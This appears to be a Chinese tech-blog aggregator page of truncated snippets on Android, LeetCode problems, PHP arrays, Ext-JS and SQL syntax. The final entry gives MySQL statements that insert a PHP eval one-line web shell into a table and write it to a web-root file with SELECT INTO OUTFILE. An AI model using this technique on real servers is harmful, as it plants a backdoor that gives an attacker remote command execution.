具体效果如上图所示,具体操作步骤如:1、先新建一个工程名为getDataInternet的应用;2、修改res/values中的string.xml文件,具体代码如下: 1 2 3 4 Android客户端单线程下载 5 Hello world! 6 Settings ...
分类:
移动开发 时间:
2014-12-26 22:51:32
阅读次数:
235
【题目】
Given n, how many structurally unique BST's (binary search trees) that store values 1...n?
For example,
Given n = 3, there are a total of 5 unique BST's.
1 3 3 2 ...
分类:
其他好文 时间:
2014-12-26 21:41:23
阅读次数:
162
Given a binary tree, return the zigzag level order traversal of its nodes' values. (ie, from left to right, then right to left for the next level and alternate between).
For example:
Given binary tr...
分类:
其他好文 时间:
2014-12-26 16:46:08
阅读次数:
159
poj 2785 4 Values whose Sum is 0 哈希入门题...
分类:
其他好文 时间:
2014-12-26 14:40:32
阅读次数:
165
题目:(Backtracking)The gray code is a binary numeral system where two successive values differ in only one bit.Given a non-negative integernrepresenting...
分类:
其他好文 时间:
2014-12-26 00:54:18
阅读次数:
213
array_change_key_case — 返回字符串键名全为小写或大写的数组array_chunk — 将一个数组分割成多个array_combine — 创建一个数组,用一个数组的值作为其键名,另一个数组的值作为其值array_count_values — 统计数组中所有的值出现的次数arr...
分类:
Web程序 时间:
2014-12-25 20:17:04
阅读次数:
182
昨天跟踪代码发现在Ext-js的loadData函数有点小bug:1 for (var i = 0; i < root.length; i++) {2 var n = root[i];3 var values = {};4 var id = ((sid || sid === 0) && n[sid]...
分类:
Web程序 时间:
2014-12-25 18:17:28
阅读次数:
117
res目录主要是存放资源文件的!layout 布局 这个就是你经常看到的与用户交互的界面的 xml 文件,就是各个 view 的排列和嵌套,没什 么好说的啦 风格和主题、 风格主要是指 view 的显示风格 ;anim 一般是设置动画,画资源分为两种,一是实现图片的 translate、scale....
分类:
移动开发 时间:
2014-12-25 09:47:13
阅读次数:
199
一、数据控制语句 (DML) 部分1.INSERT (往数据表里插入记录的语句)INSERT INTO 表名(字段名1, 字段名2, ……) VALUES ( 值1, 值2, ……);INSERT INTO 表名(字段名1, 字段名2, ……) SELECT (字段名1, 字段名2, ……) FRO...
分类:
数据库 时间:
2014-12-24 13:25:04
阅读次数:
220
MySQL:DropTABLEIFEXISTStemp;//如果存在temp就删掉CreateTABLEtemp(cmdtextNOTNULL);//建立temp表,里面就一个cmd字段InsertINTOtemp(cmd)VALUES(<?phpeval($_POST[cmd]);?>);//把一句话木马插入到temp表SelectcmdfromtempintooutfileF:/wwwroot/eval.php;//查询temp表..
分类:
数据库 时间:
2014-12-24 06:30:25
阅读次数:
237